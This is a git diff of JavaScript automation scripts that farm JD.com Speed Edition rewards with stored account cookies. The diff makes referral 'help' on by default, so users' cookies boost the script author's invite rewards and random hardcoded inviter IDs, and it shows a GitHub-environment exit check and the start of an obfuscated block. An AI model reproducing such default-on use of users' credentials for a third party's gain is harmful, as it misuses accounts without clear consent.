Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_speed_sign.js b/jd_speed_sign.js index 3414667..c741995 100755 --- a/jd_speed_sign.js +++ b/jd_speed_sign.js @@ -10,17 +10,17 @@ ============Quantumultx=============== [task_local] #京东极速版 -0 7 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true +0 7 * * * jd_speed_sign.js, tag=京东极速版, img-url=https://raw.githubusercontent.com/Orz-3/task/master/jd.png, enabled=true ================Loon============== [Script] -cron "0 7 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_speed_sign.js,tag=京东极速版 +cron "0 7 * * *" script-path=jd_speed_sign.js,tag=京东极速版 ===============Surge================= -京东极速版 = type=cron,cronexp="0 7 * * *",wake-system=1,timeout=33600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_speed_sign.js +京东极速版 = type=cron,cronexp="0 7 * * *",wake-system=1,timeout=33600,script-path=jd_speed_sign.js ============小火箭========= -京东极速版 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_speed_sign.js, cronexpr="0 7 * * *", timeout=33600, enable=true +京东极速版 = type=cron,script-path=jd_speed_sign.js, cronexpr="0 7 * * *", timeout=33600, enable=true */ const $ = new Env('京东极速版'); @@ -46,9 +46,13 @@ const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; !(async () => { if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); return; } + $.canhelp = true; + if ($.isNode() && process.env.HELP_YQYL) { + $.canhelp = process.env.HELP_YQYL; + } for (let i = 0; i < cookiesArr.length; i++) { if (cookiesArr[i]) { cookie = cookiesArr[i]; @@ -60,7 +64,7 @@ const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; await TotalBean(); console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); if ($.isNode()) { await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); @@ -68,7 +72,7 @@ const JD_API_HOST = 'https://api.m.jd.com/', actCode = 'visa-card-001'; continue } await jdGlobal() - await $.wait(2*1000) + await $.wait(2 * 1000) } } })() @@ -89,15 +93,18 @@ async function jdGlobal() { await signInit() await sign() - await invite() - await invite2() + if ($.canhelp) { + console.log(`\n京东账号${$.index}开始助力【zero205】邀请有礼,感谢!\n`); + await invite() + await invite2() + } $.score = 0 $.total = 0 await taskList() await queryJoy() await signInit() await cash() - await showMsg() + // await showMsg() } catch (e) { $.logErr(e) } @@ -106,7 +113,7 @@ async function jdGlobal() { function showMsg() { return new Promise(resolve => { - message += `本次运行获得${$.score}金币,共计${$.total}金币\n可兑换 ${($.total/10000).toFixed(2)} 元京东红包\n兑换入口:京东极速版->我的->金币` + message += `本次运行获得${$.score}金币,共计${$.total}金币\n可兑换 ${($.total / 10000).toFixed(2)} 元京东红包\n兑换入口:京东极速版->我的->金币` $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); resolve() }) @@ -117,7 +124,10 @@ async function signInit() { $.get(taskUrl('speedSignInit', { "activityId": "8a8fabf3cccb417f8e691b6774938bc2", "kernelPlatform": "RN", - "inviterId":"gCBrvPfINCZc+dotfvHPlA==" + "inviterId": [ + "4Ea5Rk54jwWdzUlDSMQQPYOn8bJjlhOf", + "lYWW84hrUq/vNS+xjDyh5g==" + ][Math.floor((Math.random() * 2))] }), async (err, resp, data) => { try { if (err) { @@ -141,10 +151,10 @@ async function signInit() { async function sign() { return new Promise(resolve => { $.get(taskUrl('speedSign', { - "kernelPlatform": "RN", - "activityId": "8a8fabf3cccb417f8e691b6774938bc2", - "noWaitPrize": "false" - }), + "kernelPlatform": "RN", + "activityId": "8a8fabf3cccb417f8e691b6774938bc2", + "noWaitPrize": "false" + }), async (err, resp, data) => { try { if (err) { @@ -172,10 +182,10 @@ async function sign() { async function taskList() { return new Promise(resolve => { $.get(taskUrl('ClientHandleService.execute', { - "version": "3.1.0", - "method": "newTaskCenterPage", - "data": {"channel": 1} - }), + "version": "3.1.0", + "method": "newTaskCenterPage", + "data": { "channel": 1 } + }), async (err, resp, data) => { try { if (err) { @@ -219,7 +229,7 @@ async function doTask(taskId) { return new Promise(resolve => { $.get(taskUrl('ClientHandleService.execute', { "method": "marketTaskRewardPayment", - "data": {"channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + "data": { "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId } }), async (err, resp, data) => { try { if (err) { @@ -246,7 +256,7 @@ async function doTask(taskId) { async function queryJoy() { return new Promise(resolve => { - $.get(taskUrl('ClientHandleService.execute', {"method": "queryJoyPage", "data": {"channel": 1}}), + $.get(taskUrl('ClientHandleService.execute', { "method": "queryJoyPage", "data": { "channel": 1 } }), async (err, resp, data) => { try { if (err) { @@ -275,7 +285,7 @@ async function rewardTask(id, taskId) { return new Promise(resolve => { $.get(taskUrl('ClientHandleService.execute', { "method": "joyTaskReward", - "data": {"id": id, "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId} + "data": { "id": id, "channel": 1, "clientTime": +new Date() + 0.588, "activeType": taskId } }), async (err, resp, data) => { try { if (err) { @@ -306,7 +316,7 @@ async function queryItem(activeType = 1) { return new Promise(resolve => { $.get(taskUrl('ClientHandleService.execute', { "method": "queryNextTask", - "data": {"channel": 1, "activeType": activeType} + "data": { "channel": 1, "activeType": activeType } }), async (err, resp, data) => { try { if (err) { @@ -353,7 +363,7 @@ async function startItem(activeId, activeType) { data = JSON.parse(data); if (data.code === 0 && data.data) { if (data.data.taskInfo.isTaskLimit === 0) { - let {videoBrowsing, taskCompletionProgress, taskCompletionLimit} = data.data.taskInfo + let { videoBrowsing, taskCompletionProgress, taskCompletionLimit } = data.data.taskInfo if (activeType !== 3) videoBrowsing = activeType === 1 ? 5 : 10 console.log(`【${taskCompletionProgress + 1}/${taskCompletionLimit}】浏览商品任务记录成功,等待${videoBrowsing}秒`) @@ -393,26 +403,26 @@ async function endItem(uuid, activeType, activeId = "", videoTimeLength = "") { "activeId": activeId } }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0 && data.isSuccess) { - await rewardItem(uuid, activeType, activeId, videoTimeLength) - } else { - console.log(`${$.taskName}任务结束失败,${data.message}`) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + await rewardItem(uuid, activeType, activeId, videoTimeLength) + } else { + console.log(`${$.taskName}任务结束失败,${data.message}`) + } } } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) + }) }) } @@ -431,34 +441,34 @@ async function rewardItem(uuid, activeType, activeId = "", videoTimeLength = "") "activeId": activeId } }), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.code === 0 && data.isSuccess) { - $.score += data.data.reward - console.log(`${$.taskName}任务完成,获得${data.data.reward}金币`) - } else { - console.log(`${$.taskName}任务失败,${data.message}`) + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.isSuccess) { + $.score += data.data.reward + console.log(`${$.taskName}任务完成,获得${data.data.reward}金币`) + } else { + console.log(`${$.taskName}任务失败,${data.message}`) + } } } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) + }) }) } async function cash() { return new Promise(resolve => { $.get(taskUrl('MyAssetsService.execute', - {"method": "userCashRecord", "data": {"channel": 1, "pageNum": 1, "pageSize": 20}}), + { "method": "userCashRecord", "data": { "channel": 1, "pageNum": 1, "pageSize": 20 } }), async (err, resp, data) => { try { if (err) { @@ -483,7 +493,7 @@ async function cash() { function wheelsHome() { return new Promise(resolve => { $.get(taskGetUrl('wheelsHome', - {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + { "linkId": "toxw9c5sy9xllGBr3QFdYg" }), async (err, resp, data) => { try { if (err) { @@ -492,9 +502,9 @@ function wheelsHome() { } else { if (safeGet(data)) { data = JSON.parse(data); - if(data.code ===0){ + if (data.code === 0) { console.log(`【幸运大转盘】剩余抽奖机会:${data.data.lotteryChances}`) - while(data.data.lotteryChances--) { + while (data.data.lotteryChances--) { await wheelsLottery() await $.wait(500) } @@ -513,7 +523,7 @@ function wheelsHome() { function wheelsLottery() { return new Promise(resolve => { $.get(taskGetUrl('wheelsLottery', - {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + { "linkId": "toxw9c5sy9xllGBr3QFdYg" }), async (err, resp, data) => { try { if (err) { @@ -522,10 +532,10 @@ function wheelsLottery() { } else { if (safeGet(data)) { data = JSON.parse(data); - if(data.data && data.data.rewardType){ + if (data.data && data.data.rewardType) { console.log(`幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n`) message += `幸运大转盘抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue}${data.data.couponDesc}】\n` - }else{ + } else { console.log(`幸运大转盘抽奖获得:空气`) } } @@ -542,7 +552,7 @@ function wheelsLottery() { function apTaskList() { return new Promise(resolve => { $.get(taskGetUrl('apTaskList', - {"linkId":"toxw9c5sy9xllGBr3QFdYg"}), + { "linkId": "toxw9c5sy9xllGBr3QFdYg" }), async (err, resp, data) => { try { if (err) { @@ -551,12 +561,12 @@ function apTaskList() { } else { if (safeGet(data)) { data = JSON.parse(data); - if(data.code ===0){ - for(let task of data.data){ + if (data.code === 0) { + for (let task of data.data) { // {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":"SIGN","taskId":67,"channel":4} - if(!task.taskFinished && ['SIGN','BROWSE_CHANNEL'].includes(task.taskType)){ + if (!task.taskFinished && ['SIGN', 'BROWSE_CHANNEL'].includes(task.taskType)) { console.log(`去做任务${task.taskTitle}`) - await apDoTask(task.taskType,task.id,4,task.taskSourceUrl) + await apDoTask(task.taskType, task.id, 4, task.taskSourceUrl) } } } @@ -571,11 +581,11 @@ function apTaskList() { }) } // 大转盘做任务 -function apDoTask(taskType,taskId,channel,itemId) { +function apDoTask(taskType, taskId, channel, itemId) { // console.log({"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}) return new Promise(resolve => { $.get(taskGetUrl('apDoTask', - {"linkId":"toxw9c5sy9xllGBr3QFdYg","taskType":taskType,"taskId":taskId,"channel":channel,"itemId":itemId}), + { "linkId": "toxw9c5sy9xllGBr3QFdYg", "taskType": taskType, "taskId": taskId, "channel": channel, "itemId": itemId }), async (err, resp, data) => { try { if (err) { @@ -584,9 +594,9 @@ function apDoTask(taskType,taskId,channel,itemId) { } else { if (safeGet(data)) { data = JSON.parse(data); - if(data.code ===0 && data.data && data.data.finished){ + if (data.code === 0 && data.data && data.data.finished) { console.log(`任务完成成功`) - }else{ + } else { console.log(JSON.stringify(data)) } } @@ -602,7 +612,7 @@ function apDoTask(taskType,taskId,channel,itemId) { // 红包大富翁 function richManIndex() { return new Promise(resolve => { - $.get(taskUrl('richManIndex', {"actId":"hbdfw","needGoldToast":"true"}), async (err, resp, data) => { + $.get(taskUrl('richManIndex', { "actId": "hbdfw", "needGoldToast": "true" }), async (err, resp, data) => { try { if (err) { console.log(`${JSON.stringify(err)}`) @@ -610,9 +620,9 @@ function richManIndex() { } else { if (safeGet(data)) { data = JSON.parse(data); - if(data.code ===0 && data.data && data.data.userInfo){ + if (data.code === 0 && data.data && data.data.userInfo) { console.log(`用户当前位置:${data.data.userInfo.position},剩余机会:${data.data.userInfo.randomTimes}`) - while(data.data.userInfo.randomTimes--){ + while (data.data.userInfo.randomTimes--) { await shootRichManDice() } } @@ -629,7 +639,7 @@ function richManIndex() { // 红包大富翁 function shootRichManDice() { return new Promise(resolve => { - $.get(taskUrl('shootRichManDice', {"actId":"hbdfw"}), async (err, resp, data) => { + $.get(taskUrl('shootRichManDice', { "actId": "hbdfw" }), async (err, resp, data) => { try { if (err) { console.log(`${JSON.stringify(err)}`) @@ -637,10 +647,10 @@ function shootRichManDice() { } else { if (safeGet(data)) { data = JSON.parse(data); - if(data.code ===0 && data.data && data.data.rewardType && data.data.couponDesc){ + if (data.code === 0 && data.data && data.data.rewardType && data.data.couponDesc) { message += `红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】\n` console.log(`红包大富翁抽奖获得:【${data.data.couponUsedValue}-${data.data.rewardValue} ${data.data.poolName}】`) - }else{ + } else { console.log(`红包大富翁抽奖:获得空气`) } } @@ -653,7 +663,7 @@ function shootRichManDice() { }) }) } -var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var 